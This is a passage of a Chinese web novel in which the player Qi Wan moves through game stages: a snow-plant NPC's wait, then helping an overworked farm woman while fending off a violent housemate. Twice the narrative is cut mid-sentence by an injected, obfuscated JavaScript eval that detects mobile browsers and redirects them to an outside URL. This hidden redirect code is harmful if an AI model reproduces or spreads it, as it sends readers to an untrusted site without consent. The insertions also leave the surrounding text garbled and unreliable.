“是NPC吧。”她掸掸身上的土站起来,如此便能俯视这无名少女,“难怪看起来不像人,第一场又给我添堵又死活找不到……是有很多个这种形象的NPC吧。” 祁晚微微弯下腰,直视少女无神的双眼,赞叹于造物者的杰作,问道:“上一个叫秋原,那你叫什么呢?” 少女循声仰头,机器人似的,“我叫……棉头雪兔子。” 就在她给出回答的这一刻,播报声响起。 【玩家祁晚登入游戏。游戏主题:等待】 【全场共1名玩家,获得帮助者身份】 【胜利条件:完成等待,点亮本场游戏全部区域】 “原来你就是任务对象。”祁晚恍然,“是你在等啊,你在等谁?” 这句话打开了无名少女的话匣子,她灰败无神的眼睛骤然亮起,“我在等……一个人。” 这不废话。 不等人还能等啥?等待春天吗? 略无语了片刻,祁晚耐心问道:“是个什么样的人?你描述一下,不然我也不知道怎么找。” “是个很厉害的人。”无名少女眯着眼笑起来——这个表情更像秋原了——她道:“他认识这里的所有的石头。” 祁晚静静地听着。 “我第一次见到他,是在三年前。”少女打理着裙子坐下,顺便拉祁晚也坐下,道:“那是我第一次见到人类。” “他穿着杜鹃颜色的衣服。” “来到这里的时候,他很惊喜地对着我和姐妹们拍照,说我们是生长在生命禁区的奇迹,夸我们好看。” “他尤其喜欢我,但不认识我。然后他叫他的朋友来说话,说他只知道我是一种绵毛植物,问我叫什么。” “他的朋友告诉他,我叫绵头雪兔子。” “那也是我第一次知道自己在人类口中叫什么。”少女笑着,语气里是淡淡的怀念,“他给我拍了很多照片,走的时候,说他还会再来。” “然后我等啊……等啊……等到一年过去。我又开花了,他果然又来了。” “这次他很忙,很快就走了。但是给我留了东西。”如此说着,少女不知从哪里掏出一张照片,“你看,是他拍的我——是不是很好看?” 祁晚接过看了一眼,顺手收了起来,点头,“拍照技术是不错。” 都说生命禁区了,会来这里的应该是科研人员。 听描述,这些人应该分别是研究地质和生物的,因为都要来高原,干脆就组了团。 绵头雪兔子还在说话:“他留下这张照片的时候,也说他会再来……可是去年他没有来,今年也没有。” 说到这里,她变得有点委屈,“我已经又开了两次花,我觉得我的花朵变得越来越好看了。他为什么不再来了呢?” “我可以等……可我还要等多久?” 雪兔子说着,眼神变得很寂寞。 祁晚可以理解,她也不喜欢在杳无人烟的地方一个人待着,连玩游戏都不爱玩单机游戏。 系统非要给她搞个单机游戏,她也很烦。 所以这个游戏还是快点搞完吧,她不想一个人玩单机了。 “我可以帮你找找他。”清了清嗓子,祁晚问道:“你仔细想想,他们说话的时候有没有提到什么地点?比如他们接下来要去哪之类的?” 雪兔子陷入沉思。 “好像……有吧。” 祁晚精神一振,“哪里?” 雪兔子:“好像说了什么……研究所?可能吧,我对人类的东西不了解。” “对了,还有,我还记得方向。” “他们离开的时候说,要往北走,还有很远,要走好久。” 然后就简单了,这游戏的世界自由度没有那么高,她只需要一路往北走,早晚能见到与任务相关的场景。 只是…… 祁晚缓缓起身,往前走了几步,望着南方黑白的群山,陷入沉默。 完成等待只是胜利条件之一,除了等待还要点亮全部区域。要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101693|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找人,她现在就要往北走;但放眼望去,南部群山连绵起伏,蜿蜒不断,等她点亮的区域一眼望不到尽头。 “难道我要先把南方那么多的山都爬完,才能去找人吗?”她感到一阵不可思议,“那得多久?这游戏设计真的合理吗?” “到时候我一头扎进山沟沟里游荡个十来年的……研究员们还在不在世都不好说了啊?别说到时候,现在都过去两年了,要真是已经出了什么意外死了都不奇怪,别说找了。” 【等待完成】 【请玩家继续点亮本场游戏游戏区域】 播报声从身后响起,祁晚吓了一跳,猛地回头,差点崴了脚。 完成?怎么就完成了?莫名其妙啊? 雪兔子听不懂她在说什么,所以只是静静地看着她,但在听她说完最后一句后,瞳孔颜色骤然变深,变成了深渊般的漆黑。 祁晚当时正喃喃自语,背对着雪兔子,没有看见这诡异的变化。 于是直到听见播报,她才回头。 不知何时,雪兔子已经无声无息地站在了她身后。 “干什么?!”祁晚一个大跳跳出去老远,“你这人怎么没声的?” 而且为什么……又变了? 刚才雪兔子给人的感觉是空洞,像个设定不全的NPC,触发任务就开始说固定台词。而现在,变化的明明只有瞳孔颜色,气质却已经完全不同——好像变成了什么未知的存在。 冰冷,无机质,很难形容,总之,有种非人感。 同样是非人感,跟秋原的非人感还不一样,秋原和绵头雪兔子只是有些不和谐,会让人觉得奇怪,而现在的“雪兔子”让她感到恐惧。 这已经不是刚才的雪兔子了,这是谁? 祁晚打了个寒战。 “雪兔子”冷冷地看着她。 半晌,开始说话。 “学习能力低下,承受能力差,只有精神损耗率居高不下。” “啊?”祁晚懵了。 然而“雪兔子”没有停,继续道:“思维死板,抓不住重点;态度散漫,没有上进心。” “跟游走者,管理者都没有关系。确实是本人差得离谱。” “精神力总量高,恢复快。但综合以上评价,总评还是低。” 少女容颜精致,穿着可爱的衣服,然而气质完全不对劲,说出来的话一句比一句扎心。 “不是,你谁啊?”祁晚有点火了,“你不是刚才的棉头雪兔子吧?刚才的雪兔子去哪了?还有你,上来就这么说别人?不觉得自己很过分吗?” “真的是,是我自己要来的吗?”祁晚气得都不害怕了,“凭什么就我要自己在这里?还莫名其妙被你骂,你到底谁啊?” “雪兔子”一双黑眸淡淡地看着她,照旧带着惊人的冷漠,无视她的怒火,道:“你没必要知道。” 祁晚还要再骂,“雪兔子”已经闪现到了她面前,冰凉的手轻巧地搭上了她的脖颈。 她根本来不及躲,声音直接被打断,“你——” 失去意识前,她只听见“雪兔子”异常冷漠的嗓音。 “一号实验体评价低,不再继续投入。” “启用多实验体计划。” 26. 14的家(1) 再度醒来时,祁晚发现自己躺在柔软的床铺上。 被子和枕头都散发着晒过太阳的清爽味道,很舒服。 舒服当然是很好的,但是…… 她一个仰卧起坐从床上弹起来,第一时间抬手摸向自己的脖子。 温暖,光滑,没有任何伤痕。 “我还活着?”随后她开始上上下下地摸自己全身,“也没少什么……我的老天奶啊,我还活着!?” “果然求老天奶就是比老天爷好使……” “啊,不对,应该还是死的,毕竟没复活……居然没魂飞魄散啊,真好。” 想起最后那幕,她还是心惊胆战。 她真以为自己要交代在那里了,结果居然没有,真是…… “劫后余生啊——” “太好了。”祁晚热泪盈眶,双手作捧心状,“所以这是哪啊?” 适时,虽迟但到的播报声响起。 【我是本场游戏管理者。代号:岳】 【玩家祁晚,等待游戏第二部分失败,已进入第三部分】 祁晚:“咦?” 这就是第三部分了吗? 再下一刻,有人推开了她的房门。 是个女人,一张圆脸,神色和善,声音轻柔,看起来三四十岁,身上带着的围裙沾满了油污。 “小祁醒了啊。”那女人见她醒了,脸上便带起笑容,“怎么会晕呢?是吃得太少了吧?你等等啊,正好晚饭做好了,我给你收拾一点来。” 祁晚想要起身,然后女人按住了她,“你别动!你身子虚,好好休息。” 祁晚:“……” 被人说虚,她这辈子还真是第一次。 虽然女人说不许她动,但她又不会真的乖乖听人家的话,还是出了房门。 出了房门就是餐厅,餐桌旁围坐着四个人,正在说话。 “我真的是……这都几天了?”说话的是个五大三粗的男人,“三天了吧?她不是知道游戏的事吗?说好了带我们完成,还不来,我看她根本是在骗人。” “她说当时说的是干完活就带,不像假的。”回话的是个一身黑衣的男人,很眼熟,“而且这几天你不都看见了,确实一直在忙,没骗人。” 桌子靠墙的位置坐了两个女的,一个一直埋头苦吃,另一个闻言抬头,“真的在忙,我跟雷哥这两天一直帮她干来着,确实干不完,很累。” 祁晚看着这人,顿时瞪大了眼。 这是不柳州与吗?她们在第一场游戏见过的,为了淘汰柳州与,她费了不少力。 桌上的几人都没看见祁晚,柳州与说着说着就来了火气,抬起筷子点了点桌子,“我早说你也来帮忙,多个人多把力,总有她闲下来的时候——你就不来,现在还嫌慢?真好意思啊大哥。” 也不知道这句话戳了他哪个敏感点,五大三粗男顿时就火了。柳州与只是轻轻点了一下他附近的桌子,他直接摔碗,“我滚你m的——娘们唧唧磨叽什么?君子远庖厨懂吗?头发长见识短的东西……就点破家务不够你们干的了!?” “你自己数数,你们都叫我干什么?”五大三粗男爆发得愈发厉害,“刷锅!洗碗!洗菜!买菜!那是男人该干的活吗?” “其实叫你扛米你也没去。”墙角埋头苦吃的那个女孩也小小声地吐槽了一句。 五大三粗男顿时更火了,“我那不是忙吗?你jb闭嘴,轮得到你讲话?” 他越说越来劲,还骂起了另一个男的,“还有你,小白脸一个。成天跟那些女人混在一起,连个解决办法也不会想,不成事的东西,废——” 他的最后一个词没骂出来。 “碰——” “咣当——” 祁晚出现在他身后,手里举着一把木头凳子。 饭桌上顿时鸦雀无声。 柳州与跟黑衣男立刻抬起头来,望着这突然出现的女人。 柳州与瞪大眼睛并张大了嘴,手里的筷子吧嗒一声掉在桌子上。 黑衣男惊呼,“祁晚?” 另一个姑娘依旧不敢抬头,只敢偷瞄,并感到困惑。 这人虽然不知道哪来的,但真的好厉害,真是好高好帅的姐姐,她这终极社恐人实名羡慕……但为什么柳姐和雷哥看起来都认识她? 只有自己不认识吗? 这叫祁晚的到底谁啊? 祁晚撂下砸人的凳子,仔细看了两眼,想了一下,没记起来这黑衣服的是谁,于是礼貌发问,“那个,不好意思,你是谁来着?” 雷铭:“……” 记性这么不好,怕不是脑子也不好,难怪您摇骰子呢。 柳州与已经知道了第一场雷铭是怎么被淘汰的,便小小声地朝祁晚提醒,“那个,雷……” 祁晚疑惑,“什么雷?我没雷点的。他雷我吗?为什么?” 柳州与想啃开她天灵盖看看里边究竟都装了点什么。 她牙都快咬碎了,但声音还是从牙缝里钻出来,“……4号啊!” 祁晚:“……” 祁晚:“啊——” 是被她摇骰子淘汰出去的沃尔玛塑料袋哥啊! 居然又遇到了,好巧。 虽然没认出来这是谁,其实她也没感觉尴尬……就是这人看着她的眼神未免也有些怨念过深了。 不至于吧?不就是淘汰了他一回吗。 直到这时,方才那圆脸女人才端着饭菜从厨房里走出来,看着餐厅的惨状,一脸震惊,“小祁你怎么出来了?我不是说让你别起来吗?哎呀,还有这,李雄这是咋了啊?他怎么倒了——” 祁晚飞快思考自己该怎么编瞎话,然而编的没有那么快,“啊哈哈……那个……” 雷铭白了她一眼,立刻站起来去扶李雄,对那圆脸女人道:“陈姐,他昨天晚上熬夜打游戏来着,太困了。这不嘛,吃一半就睡着了,给我们也吓一跳,先把他放回房间吧。” 陈姐放下饭菜,先把祁晚按到凳子上,道:“小祁你先吃。”然后她才去帮雷铭把人扶起来,“可是他饭还没吃完,要不还是先叫醒吧,吃完了再睡多好呢。” 祁晚毕竟没把人打废,李雄晕晕乎乎地醒了过来,口齿不清,“谁……”打我? 没说完,雷铭往他嘴里塞了一块馒头,“你看他困得,话都说不清楚了,随便垫两口先睡吧。” 李雄含含糊糊地 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李雄此人身上味道十分浓郁悠长,说不上究竟是烟臭酒臭汗臭还是狐臭,反正混在一起那叫一个酸爽……祁晚被熏得眼泪都出来了,撂下人立刻跳开。 雷铭倒是习惯了这个味道,只是很淡定地抽出纸巾擤鼻涕。 祁晚动了动鼻子。 这人用的纸巾怎么还是带香味的?好骚包啊。 “原来今天早晨陈姐从外边捡回来的人就是你。”雷铭擤完鼻涕,看着祁晚,也递给她一张纸,“你也是这场的玩家?可是游戏开始的时候明明说过只有3个人……怎么,你还能加塞?” 祁晚:“我当然是玩家。别的我也不知道啊……我都不知道这场规则是啥。” 她在冰原上差点死了,应该是差点死了,但最后没死,万幸毫发无伤地活着回来了。至于为什么就失败还被塞进第三部分了……劫后余生哪有心思想什么怎么回事的?反正她不知道,她也懒得想了。 她现在甚至连规则都不知道。 【等待游戏第三部分,1/3的家】 祁晚:“?” 播报怎么又响了? 雷铭:“?” 怎么之前播的不一样?什么第三部分? 【游戏主题:帮助】 【全场共4名玩家,获得帮助者身份】 【游戏时限七天】 【胜利条件:1.做完所有农务及家务2.从陈清华那里得知,她完全“闲暇”时即会告知玩家。目前是游戏第四天,还有三天,请玩家尽快努力】 “难怪我刚才听你跟柳州与帮忙干活。”祁晚单手支下巴,“原来是让她闲下来就行,那不是不难吗?” 雷铭暂且没回她,而是提先出了自己的问题,“这个播报我刚来的时候就听过,怎么变了?多了个人……还有,第三部分是什么意思?” 祁晚:“你要问这个,我能说的可就多了。” 雷铭:“那你长话短说。” 祁晚:“短不了。” 雷铭:“……” 记性不好就算了,语言表达能力也不好吗你? 27. 14的家(2) 祁晚:“那我先问吧!” 雷铭叹气,“好吧。” “游戏玩家不是4个吗?你,我,柳州与,还有一个是谁?”祁晚问道:“除了这个李雄,桌上不还有个姑娘吗?” 雷铭摇头,“那姑娘叫李岚林,我跟柳州与从来了就在观察她和李雄。陈姐对他俩的态度跟对我和柳州与没区别,分不出来到底谁不是玩家。” “而且,比起他们,我觉得你问题比较大。”雷铭看着祁晚,翻了个白眼,“长话短说怎么就不行?” 祁晚:“……” “比起这个,咱俩还是抓紧出去吃饭吧。”祁晚依然觉得三言两语说不明白。于是她扯开被子,把李雄连人带鞋带衣服裹进去,“其他的找个空再说,不然陈姐该问了。” 这倒是,雷铭都听见外面柳州与在拼了老命地劝阻陈清华了。 “他们可能要给雄哥换个衣服吧。”柳州与怕陈清华去了听见什么不该听的,一直努力劝阻着,“他们就安顿个人,出不了什么问题的——陈姐你都忙一上午了,快吃点东西得了……” “哎呀,姐你不要操心了嘛!这样,我去看看,你吃着。” 这俩人搬个人迟迟不出来,柳州与冷汗都下来了——再不出来她拦不住陈清华了啊! 就在她抓狂的时候,这两人终于出了房间。 “怎么才出来?”陈清华很担忧,“李雄怎么了吗?” 雷铭一出房间就快步上前坐下,笑着挡住了陈清华的视线,笑道:“没啥,他挺沉的,我俩想把他摆正——好睡得舒服点嘛。就多花了点时间。” 雷铭这人还蛮会掩护的,祁晚想。 前边有人挡着,她抓住机会,悄悄把自己砸人的木头凳子拿走,然后坐在了李雄的位置上。 “是啊,他超级沉的。”她附和道。顺便快速塞了几口菜,只觉得这简直是人间美味。 她有多久没尝过正常饭菜了?几口下去都有点泪目了。 忍住感动的泪花,祁晚道:“我觉得他该减肥了,少吃几顿挺好的,饿不死他。我比较虚,我需要多吃——姐你这个菜怎么弄的,真好吃啊——” 陈清华不疑有他,温和地笑起来,“你们喜欢就好。你要是乐意,之后我教你。” 祁晚哐哐点头。 然后桌子底下,柳州与狠狠踢了她一脚。 祁晚骤然瞪大眼睛,但压低声音,小声得像在说悄悄话,“嘶——你干什么?” 柳州与怒目圆视,也压低声音,“她得闲下来咱们才能赢啊,刚才播报你没听见吗?你怎么又在给她找活干?” 祁晚:“……对哦。” 社恐妹子李岚林依旧不敢说话,但看眼神是对柳州与表示了赞同。 桌子另一头,雷铭悄悄叹气。祁晚闻声看向他,他立刻翻了个白眼。 陈清华听不清她们在说什么,但这些年轻人不比她自己的孩子大多少,她只觉得有趣,“你们几个关系真好啊,很久的朋友了吧?” 她的孩子,在学校是不是天天也这么开心呢? 在陈清华看不见的角度,雷铭又翻了个白眼,正对着祁晚。 “还行,其实没认识多久。” 祁晚:“……是没多久。” 不是,哥们,你眼睛累不累? 午饭后,陈清华劝几人去午睡,随后自己开始收拾桌子,洗碗刷锅收拾厨余垃圾。 柳州与一脸义不容辞地接过了她的活计。 祁晚顿时眼睛就亮了。 毕竟游戏规则说了,陈清华闲暇时就会带她们完成游戏。 于是她打算去问问陈清华。 雷铭自然看出了她想干什么,顺手拉住了她,“不用问,她还有活。” 祁晚:”还有什么?” 雷铭没回答她,而是朝陈清华喊,“陈姐,喂牛我来吧!那个饲料你拌不动——” 陈清华:“我一次拌不完就多拌几次嘛……你们老帮忙我都不好意思了。” 雷铭:“这有啥,我们也不是吃白饭的。你忙别的呗。对了,羊饲料我也顺便弄了。” 祁晚真想知道陈姐还有什么可忙,于是雷铭原地剁起牛料草,她继续跟着陈清华。 “这是去干嘛啊?” “烧饭的柴火没了,我去后院搬点回来。” 到了后院,眼前尽是乱七八糟的大树桩子,还得劈。 祁晚撸起袖子,深吸一口气,“我来,我劲大。” 一小时后,祁陈二人劈完并将柴火搬回前院。 柳州与已经刷完了整个厨房的活计。雷铭还在剁牛草——他打算这一次直接剁够三天的。 随后祁柳二人跟着陈清华上了后山:窝瓜和豆子熟了,陈清华打算摘回去存上。解决一下这几天的伙食,其余的放进地窖,冬天吃。 于是三个小时后,三人拖着近一车食物回到院里。 雷铭拌饲料拌得一身草味,但拌完也没闲着。他从地窖里爬出来,推开打算嚼自己头发的羊,喊道:“地窖空出来了,全往里放吗?” 陈清华跑回屋看了一眼时间,“都五点了啊。” 祁晚一时间没听明白这个时间点是什么意思。 然而柳州与和雷铭明白。 “那我去弄晚饭了。”陈清华笑得满怀歉意,“你们都累一下午了,别忙了,休息会吧。这些之后我再来弄。” 柳州与目送她离开,木然地开始搬窝瓜,“雷哥,接着——” 祁晚不累,她精力充沛。一人点亮一整个小镇她都扛下来了,区区家务劳动不在话下。但…… “你们来了三天了吧?”她提起一捆豆角递给雷铭,万分困惑,“就没有忙完的时候吗?” 柳州与的语气生无可恋,“第一天来的时候,我们也这么想,以为她没多少事。她让我们待着,我们就待着了。” “结果她一直忙到十二点才去睡。” “那天她忙什么了来着?”雷铭手跟嘴跟腿都没闲着,迅速把窝瓜垒进地窖又跑出来,问道。 柳州与:“我想想啊。日常的做三顿饭、刷锅刷碗、收拾厨房、拌牛饲料……好像没上山来着?哦我想起来了,她去打玉米面了,煮了猪食。然后去打了醋。” “……第二天呢?” “第二天啊……干完日常的活,她扫了院子、清了羊圈、擦了一遍厨房、晒了干辣椒、然后去压了三罐韭菜花……” 祁晚听得脸都皱起来了,“……昨天呢?这家里是只有她一个人吗?” “昨天啊。”柳州与的表情已经 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“厕所的大锅满了,要清。猪粪羊粪牛粪也攒的差不多了,要找时间开始沤肥,明年开春了用。” 柳州与喝完水,从屋里拿了三条毛巾出来,递给祁雷二人一人一条,把话接了下去,“还有,大后天,就是咱们游戏最后一天,她儿子回来,她打算杀只羊。” “也可能是杀猪吧,她还没想好到底杀哪个。” “万一是要杀鸡呢,正好捡了蘑菇回来。” “她上次说隔壁的大鹅很肥,会不会去跟隔壁换只鹅回来杀?” “啊……” 杀什么都不重要了,反正现在总得死点什么,三人面面相觑,陷入沉默。 正沉默着,社恐姑娘李岚林钻出房间,两眼已经变成了圈圈,声音依然很小,“吃饭了——” 祁晚这才反应过来还有个人。 说起来,柳州与刷锅刷碗上山摘豆子搬窝瓜,雷铭捣鼓了一下午的牛羊饲料还清理了地窖,她自己劈柴搬菜搬得头都是晕的——这位李小姐是干什么去了? 李小姐手上贴着一大堆创可贴。 柳州与看着她的手,“你手怎么了?” 李岚林眼睛打圈手筛糠,声音又细弱又无望,“你们晚上睡得好,不知道,陈姐晚上两点会起床绣十字绣……四点的时候又回去睡觉,然后五点再起床……” 其余三人:“啊?” “去隔壁屋绣的,怕咱们发现,还拉帘子遮了光。”李岚林低垂着头不敢看人,道:“我起夜的时候发现的,就去问了。她说一幅十字绣能买很多钱,她多绣一点,她儿子大学的学费就有着落了。” “我想着,就算她白天的活都干完了,肯定也要把晚上的活拿出来。我就说我喜欢这个,可以交给我……” 然后就是现在了。 社恐的李小姐窝在屋子里绣了一下午的“大展宏图”,期间还换成“家和万事兴”绣了一会。因为不太熟练,手已经扎成了筛子。 但这些本都是陈清华一个人的活计。 白天干一整天农活和家务,三更半夜还要爬起来绣两个小时的十字绣。 祁晚:“……她是铁人吧?” 28. 14的家(3) 铁人女士正把最后一盆菜端上桌子。 李雄把饭点掐得很准,在最后一盘菜上桌时退开屋门,稳稳坐在了主位上。 这人从昏迷中醒来后也没出门,直接继续睡了午觉。睡醒后出门找地方喝酒打麻将,估摸着到饭点了,才悠悠然地赶了回来。 看这个坐上饭桌的时间,掐点功力可谓炉火纯青。 主人家陈清华还在,他就这么大摇大摆地坐主位,一旁的雷铭很不满地皱了皱眉,觉得这很没礼貌——他这人其实有点守旧。 祁晚也皱眉,但不是因为这个。 李雄身上除了之前的那些臭味,如今又多了股酒味,更难闻了……她也不知道他一个玩家是怎么能找到地方喝酒的。 都这种时候了,出去喝酒居然比完成游戏实现愿望更重要……关键还真能找到地方喝,您老人家这么神通广大,来帮忙干点活可好吗? 她默默挪远了一点。 这人有点影响她胃口。 人们一下午均是满负荷劳动,期间水米未进,于是狼吞虎咽地吃了起来。 只有李岚林看起来有点反胃。 柳州与凑近了问她,“你不饿吗?” 陈清华也很关切地看着她,“吃点吧,我弄了胡萝卜。对眼睛好的,你都一下午没出屋了。” 对一个社恐宅来说,不出门其实是种享受。要是不用干那么多费眼睛的活就好了。 于是她开始只吃胡萝卜。 李雄听着,干咳了两声,拿筷子敲她的碗,“怎么回事,还挑食?要我说你就是没饿过!” 这人的筷子不干净,筷子上的米粒和菜汤都撒进了李岚林的碗里。 想必口水也是有的。 李岚林更恶心了。 她是脾气软,不是没脾气,虽然也没大到哪去吧——她默默把自己碗里的饭倒进垃圾桶,又重新盛了一碗,回答柳州与,“挺饿的,就是……你不是东北孩子,你不懂。我真的一点都不想看见豆角子炖土豆了……” 再好吃的东西,天天吃、月月吃、年年吃,从小吃到大那也是会腻的。 柳州与确实不懂,“其实我觉得豆角还挺好吃的,折耳根才是真的反人类……” 李岚林:“我没吃过那个耶?” 柳州与:“没吃过挺好的,别吃,真的。” 这俩人聊着,祁晚边扒饭边看着李雄。 雷铭也在看着。 前车之鉴,这个人会莫名其妙地生气,然后就会开始摔碗骂人……得看着点他,不然这顿饭别想吃了。 果然,李雄又生气了。 “豆角土豆怎么了?”他再次哐当一声摔了碗,“放我们那个年代,这可是好东西!饭都没得吃谁还在乎豆不豆角的?要我看就是给你惯的!没饿过!饿你两天就知道好赖了!给你饭吃还是给你脸了!” 柳州与,“都什么时代了大哥……” 还搁这玩吃不饱饭那一套呢? 而且那是玩家!大家都是玩家!同为玩家,您老人家哪来的立场训别人? 说起来,李雄和李岚林之间必有一个不是玩家,现在看来,李雄肯定就是那个不是的了。 一般玩家哪有这么有病?! 这个人生气生得莫名其妙,谁也不知道到底哪句话点着他哪根引线了,他又一次炸了。 他抡起碗就扔了出去。 祁晚眼疾手快地接住,叹气,“我就知道。” 跟碗一起飞出去的还有筷子,祁晚接住了碗但没拦住筷子,两根筷子轮流打在了李岚林头上。 祁晚:“嗯?” 居然不是打柳州与的?怼你的你不打。人家李岚林只是不想吃豆角而已,怎么反而要挨打? 这李雄,怎么当个炮仗都得挑弱的炸?好怂的炮仗,炮仗之耻。 李岚林没有那么快的反应,额角被砸红了一块,“啊——” 柳州与撂下筷子起身,因为起身太快,凳子都被她顶倒了,“你怎么打人呢?” “我乐意!”李雄怒目圆睁,也站起来,一把掀翻了桌子,“我打我自己家人!关你什么事?” 祁晚干了一下午的活,本来就饿。结果吃饭还吃得不顺心,时刻要提防炮仗大哥爆炸不说,还没等吃饱就被人掀了桌子! 明明都已经盯着他了,怎么还是没法好好吃饭?! ——她都没心思思考李雄说的话究竟是什么意思了,吃了一半的美味汤泡饭现在躺在地上跟灰尘和碗碎片混在一起,而她还饿着。她出离愤怒,想一拳攮死李雄。 您是连喝带玩了一下午,考虑过我们这些干了一下午活的人的感受吗? 李雄还在暴怒,提起凳子就要打李岚林,“我让你挑食——” 柳州与顾不得处理自己身上的菜汤,扯过李岚林护在身下,尖叫:“祁晚,雷哥——” 祁晚眼疾手快地抡起自己的凳子,打飞了李雄手里的凳子,打飞后她手里的凳子去势不减,顺便击中了李雄的眼睛。没等李雄直起腰,她接着抬脚便踹。 李雄被打得弯腰,一只眼睛顿时就睁不开了;又被一脚踹中胸口,不由得退后了好几步,眼看就要倒地。 但他怒气不减,还要打,“我日——咯。” 不知道他要日什么,反正没日出来,雷铭从身后接住他,给了他一个裸绞,“嘿!接住你了——” 本来李雄比他高比他壮,他是绞不住的,但祁晚把这人打得站不稳就另说了。 “别乱动啊,不然还打你。”他收紧手臂,在李雄耳边道。 祁晚抡起凳子又过来了,看架势是要照着头打,“行,你抓住他——躲着点啊,我手不准。” 雷铭绞着人使劲往后拉,“没让你真打!我吓唬他的!” 雷铭:“都不知道他究竟是不是玩家,打坏了妨碍通关怎么办?愿望不要了吗?奖励不要了吗?你玩游戏能不能带点脑子?还是说你脑子里全是肌肉啊?” 祁晚眨了眨眼,放下凳子,“……对哦。” 雷铭翻了个白眼,“对哦你个大头鬼……” 除去祁晚还要打人,这一番配合堪称完美。 李岚林吓得发抖,柳州与抱着她,一手拍背安慰她,一手朝这边伸出大拇指,“靠谱啊姐们!” 雷铭稍微加了点力给李雄勒晕过去,松了口气,“不知道这能不能做基因检测,我觉得这哥们有点超雄。” 祁晚点头。 “你点什么头。”雷铭翻了个白眼,“他超雄,你不带脑,半斤八两。” 祁晚:“……拿我跟他相提并论,你有点辱我了。” 争端告一段落,但场面并没有彻底安静下来。 “呜呜… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138907|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …呜……” 李岚林靠在柳州与怀里,还在抖,发出细微的抽泣声,柳州与感觉自己肩头的衣服已经湿了。 “没事的,没事的,别害怕……”柳州与其实也不会哄人,只能手忙脚乱地拍李岚林的背,“他不会打人了……不是,他打不了人了。你看,他都晕了,站不起来了都……你别哭了嘛?我们都保护你呢……” 祁雷两人也束手无策,没人知道别人哭了到底该怎么哄。他俩唯一能做的就是撂倒打人者,然而这件事已经做到了。 这边李岚林哭着,那边也没闲着。 “啪嗒。” “叮。” “当。” “哗啦。” 陈清华在收拾碗筷碎片。 收拾完碎掉的碗和筷子,她去厨房找来抹布和泔水桶,一点点清理掉在地上的饭菜。 她手脚很快,收拾干净地面,又扶起桌子,才如梦初醒般地说起话来,“没事,厨房里还有剩的,我再去端上来。” 她就这样做着自己的家务,对在场的一切争端都充耳不闻,回到了厨房。 平静得有些诡异。 “我记得她上次还特别担心李雄。”祁晚有点困惑,“这次怎么回事?” 雷铭:“是有点反常。” 祁晚:“这可不是有点,这相当反常。” 李岚林已经不哭了,但还在抖,抖的很厉害。 柳州与抱着她,有点担心她会不会抽过去,温声安慰,“没事了,真的没事了……你别这样,我都有点害怕了。我说你们别琢磨那个了,来看看这边啊!” 祁晚捏着眉头思考了一会,“她是不是以前挨过打,然后有点应激后创伤?这种一般该怎么治?需要专业的心理疏导吧?我没学过心理啊。” 雷铭回房间,把自己的包拿了出来,“我感觉她这样不行。” 祁晚:“不是,你哪来的包……怎么会有包啊?” 玩游戏,怎么还有人能整个包带上?看起来还装了不少东西,您这么精致吗? “包在镇上买的,你管我呢。”雷铭掏出来一瓶药片,道:“这个药是管头疼的,有一定的助眠效果。她要是实在不冷静,睡一会怎么样?对没吃过的人来说,两片足够睡死了。” 柳州与,“……我可也不是这个意思。” 这两位,一个想着要给人治心理,另一个干脆就要上药物了——人家李岚林只是害怕!哪来这么多奇奇怪怪的解决办法?想点办法安慰安慰人家不行吗? 正无语着,李岚林自己起来了。 两位直女直男的解决办法卓有成效。 因为刚刚哭过,她声音还带着点哭腔,还有点打嗝,“我没病……我不吃药……” 陈清华端着新盛好的菜走了出来,语气里带着点歉意,“我刚看了一下,剩下的米饭可能不够了。先吃着,不够我再去弄。” 李岚林一双眼睛红得像小兔子,眼皮肿着,鼻头红着,痴痴地望着陈清华。 陈清华也看向她。 祁晚饿的前胸贴后背,二话不说要把李岚林拽起来,“哎先吃饭……” 没拽动,很难得,居然有她拽不起来的人。 李岚林依然望着陈清华,两人眼神对上的一瞬间,李岚林双唇颤抖着张合,发出了一个音节。 “妈……” 29. 14的家(4) 这可真是震惊了在场众人。 祁晚的眼神在红着眼睛的李岚林和倒地的李雄之间来回转悠。 她倒是知道,这两位肯定有一个不是玩家,但之前不管怎么看都应该是李雄,现在怎么……李岚林看起来也不对劲?甚至更不对劲? 究竟哪位不是? 总不能都不是吧? 那第四位玩家在哪里?总不能是陈清华吧? 这边三人错乱着,那边陈清华站在原地,整个人僵住,看着李岚林,看着比玩家还错乱。 李岚林在柳州与的搀扶下站起身,声音哀切,“妈……我回来了。我都想起来了!” 三人屏息凝神地看着她们。 现在究竟谁不是玩家已经不重要了,重点在于陈清华会有什么反应。她是游戏通关的重要人物,天知道这些状况会引发怎样的结果。 倒地的李雄没有引起她的任何反应,李岚林呢? “哐啷——”陈清华手里的菜盆掉在地上,摔得粉碎。 她嘴唇颤抖着,似乎想说些什么。 李岚林急了,快步走过去,“妈,我的愿望实现了!我回来了!咱们走,你跟我走……” 最终,陈清华什么都没说出来,直接晕了过去。 李岚林:“妈——” 陈清华身强体壮,这一倒地,瘦小的她根本扶不住,但她又不肯松手,两人眼看着就要一起倒在地上。 祁晚一个大跨步过去,把两人都扶住了,叹气,“今天这事闹的……”最后连个饭也没吃上。 雷铭跟柳州与跟上,雷铭顺手接过昏迷的陈清华,道:“先带她回房间。” 